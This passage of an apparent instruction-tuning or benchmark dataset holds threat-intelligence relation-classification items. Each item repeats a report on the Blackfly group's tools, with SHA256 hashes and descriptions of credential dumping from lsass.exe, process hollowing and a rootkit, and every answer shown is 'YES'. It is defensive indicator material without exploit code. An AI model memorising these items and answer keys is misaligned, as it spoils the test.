cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\n### Target Entity: Proxy configuration tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\n### Target Entity: Winnkit\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nb28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\n### Target Entity: Mimikatz\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ne1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\n### Target Entity: Winnkit\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nd4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\n### Target Entity: Proxy configuration tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nConf.dat\n### Target Entity: Proxy configuration tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nconf.dat\n### Target Entity: Proxy configuration tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: ForkLib\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. Conf.dat contains the configuration to set up proxy settings.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackfly\n### Target Entity: Credential-dumping tool\n### Text Passage:\nCurrent Blackfly toolset\nThe following tools were used in attacks during late 2022 and early 2023:\n* **Backdoor.Winnkit**\nSHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459\nSHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a\nSHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596\nSHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac\nSHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196\nSHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284\nRootkit driver known to be associated with Blackfly\n* **Credential-dumping tool**\nSHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c\nCreates a dump of credentials from lsass.exe in C:\\windows\\temp\\1.bin.\n* **Screenshotting tool**\nSHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4\nScreenshots all open windows and saves them as .jpg files.\n* **Process-hollowing tool**\nSHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e\nInjects shellcode in C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple \"Hello World\" alert message.\n* **SQL tool**\nSHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d\nSQL client tool used to query SQL databases.\n* **Mimikatz**\nSHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c\nPublicly available credential-dumping tool.\n* **ForkPlayground**\nSHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\nProof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib.\n* **Proxy configuration tool**\nSHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f\nSHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee\nSHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f\nConfigures proxy settings by injecting into: C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted.\n* **Proxy configuration tool**\nSHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4\nSHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1\nThis tool requires a file called conf.dat to run properly, located at: c:\\users\\public\\conf.dat. 